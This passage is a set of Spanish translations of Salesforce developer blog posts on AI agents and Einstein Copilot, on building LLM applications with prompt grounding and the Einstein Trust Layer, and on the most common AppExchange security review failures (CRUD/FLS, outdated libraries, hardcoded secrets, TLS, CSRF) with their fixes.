Juntos, estos elementos transforman un modelo de lenguaje en un agente que no sólo puede comprender y generar texto, sino también actuar sobre esa comprensión en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma autónoma para los usuarios, pero también pueden integrar la intervención humana, especialmente en escenarios donde existen incertidumbres o excepciones.

¿Cómo funcionan los agentes?

Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los más populares AutoGPT y LangChain . Generalmente, los agentes siguen un patrón similar: el marco ReAct para razonar y actuar en modelos lingüísticos .

Este marco consta de una serie de pasos:

  1. El usuario proporciona información.
  2. El agente “piensa” en la respuesta adecuada
  3. El agente determina la acción, selecciona la herramienta relevante y decide la entrada para esa herramienta.
  4. La herramienta ofrece un resultado.
  5. El proceso recorre los pasos 2 a 4 hasta que el agente determina que la tarea está completa

Este proceso es el que empieza a hacer autónomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, actúa por sí solo para crear el resultado deseado.

Usando LangChain como ejemplo, digamos que queremos crear una aplicación que permita a un cliente gestionar sus pedidos. Primero, podríamos darle a la aplicación acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de envío. Luego, configuraríamos una serie de herramientas a las que puede acceder la aplicación para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.

Este agente de gestión de pedidos dispone de seis herramientas que puede utilizar “dentro de su dominio de conocimiento”:

  1. Query Orders es una herramienta que puede consultar pedidos desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  2. Update Order es una herramienta que puede actualizar un único pedido desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  3. Manage Tracking Info es una herramienta que puede gestionar un envío a través de una API proporcionada por una empresa de envío
  4. Get Customer es una herramienta que puede consultar datos de clientes desde una API conectada a un sistema CRM
  5. Update Customer es una herramienta que puede actualizar los datos de los clientes a través de una API conectada a un sistema CRM
  6. Compose Response es una herramienta que puede pasar indicaciones a un LLM y devolver una respuesta.

Veamos ahora cómo un agente podría manejar casos de uso relacionados con la gestión de pedidos. Por ejemplo, ¿cómo puede el agente ayudar a un usuario a obtener una actualización sobre el estado de su pedido?

  1. El usuario solicita la información más reciente de su pedido a través de un chatbot
  2. El agente “piensa” y determina la acción correcta que debe tomar
    1. El agente primero utiliza la herramienta Consultar cliente para consultar los detalles del cliente.
    2. Luego, el agente utiliza la herramienta Consultar pedidos para consultar pedidos desde una base de datos.
    3. Luego, el agente utiliza la herramienta Administrar información de seguimiento para obtener la información de envío más reciente de su socio de envío.
    4. Luego, el agente toma ambos resultados y utiliza la herramienta Redactar respuesta para generar una respuesta.
  3. La respuesta se devuelve al usuario.

En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los parámetros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su información de pedido y envío. Lo que es importante tener en cuenta aquí es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.

Como desarrollador, su función se centra más en crear las herramientas y permitir que el agente administre la orquestación.

Mantener a un humano informado

El desafío ético con los agentes autónomos es que no hay ningún ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso ético de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnología. Ciertas reglas exigen que una persona sea responsable de tomar la decisión final en asuntos con consecuencias legales o de impacto comparable, incluida la contratación laboral, la aprobación de préstamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisión humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y daños.

¿Qué significa esto para el futuro de Salesforce?

En Dreamforce este año, les dimos una idea de cómo será el futuro de Salesforce y la IA autónoma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a través de la interacción con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad más pequeñas que pueden ser orquestadas por Einstein Copilot.

¿Cómo se compara Einstein Copilot con un agente de IA?

Si bien existen varias similitudes entre Copilot y un marco de agente de código abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No sólo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .

Por ejemplo, si desea actualizar un pedido utilizando Copilot, deberá crear una habilidad de gestión de pedidos. Con otros marcos, necesitarías crear un agente completo para la gestión de pedidos.

Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detrás de usted. Podrá utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho más para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. También tiene acceso directo a los datos de toda la plataforma.

Estudio Einstein Copiloto

Estas habilidades y acciones se reúnen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y más en colecciones de funcionalidades.

Actualmente existen tres herramientas dentro de Einstein Copilot Studio:

  • Prompt Builder le permite crear plantillas de mensajes utilizando campos de combinación de registros y datos proporcionados por Flow y Data Cloud.
  • Skills Builder le permite ensamblar acciones, como métodos invocables de Apex, flujos y llamadas de API de MuleSoft, y otorgárselas a un agente.
  • Model Builder le permite traer sus propios modelos de IA a Salesforce

Juntos, podrán crear agentes potentes en Salesforce que puedan usar su código para responder preguntas y ayudar a los usuarios.

La capa de confianza de Einstein

Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a través de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar información de identificación personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.

Trust Layer se ejecuta a través de un proceso de varios pasos para garantizar que los datos estén fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido tóxico y desenmascara los datos antes de presentárselos al usuario. Puede ver más de cerca la capa de confianza en nuestra publicación de blog Dentro de la capa de confianza de Einstein .

Resumen

La IA autónoma se hace realidad mucho más cerca a través de agentes, lo que marca el comienzo de una nueva era de tecnología en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que guía a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a través de Einstein Trust Layer. Este cambio transformador significa no sólo una evolución en las interacciones de IA, sino también una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.

Sobre el Autor

Stephan Chandler-García es el director de contenido estratégico de Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en X (Twitter) o GitHub .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Creación de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.

¿Cómo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de código abierto
  3. Utilice modelos existentes a través de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho más pequeño, el modelo GPT-3 de OpenAI tardó 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, también necesitará un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensión entre la forma en que aprenden los LLM y la forma en que se implementan las políticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. ¡Cuantos más datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las políticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio mínimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo específico. ¡Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposición de todos en su empresa puede no ser una buena idea y violar las políticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de código abierto

Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a través de API

Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.

En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.

Creación de aplicaciones impulsadas por IA utilizando modelos existentes a través de API

Llamada API básica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, así es como se vería la llamada API usando la API OpenAI:

Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electrónico de presentación para el director ejecutivo de Acme.

El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha información de conexión a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Está pasando información confidencial al proveedor del modelo donde potencialmente podría persistir o usarse para entrenar aún más el modelo, lo que significa que sus datos privados podrían aparecer en la respuesta generada por el modelo de otra persona.

Construcción rápida y puesta a tierra dinámica.

Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:

  1. Llame a un servicio para obtener información sobre el usuario.
  2. Llame a un servicio para obtener información sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la información obtenida de los servicios de datos anteriores.

Así es como podrían verse estos pasos de construcción rápidos en Apex:

El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.

Plantillas de aviso

Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.

Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.

Estudio rápido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • ¿Qué pasa con los problemas de cumplimiento y privacidad si pasa datos de información de identificación personal (PII) en el mensaje? ¿El proveedor del modelo podría conservar los datos de PII o incluso utilizarlos para entrenar aún más el modelo?
  • ¿Cómo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • ¿Cómo se rastrea y registra los pasos de creación de mensajes con fines de auditoría?

Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

Así es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger aún más sus datos, Salesforce tiene acuerdos de retención cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistirán ni entrenarán más sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detección de toxicidad y el registro de seguimiento de auditoría. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detección de toxicidad comprueba si hay contenido dañino u ofensivo en el resultado. El registro de seguimiento de auditoría registra todo el proceso con fines de auditoría.

De cara al futuro: creación de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?

Encadenamiento rápido

La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se envía al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestación de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.

La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

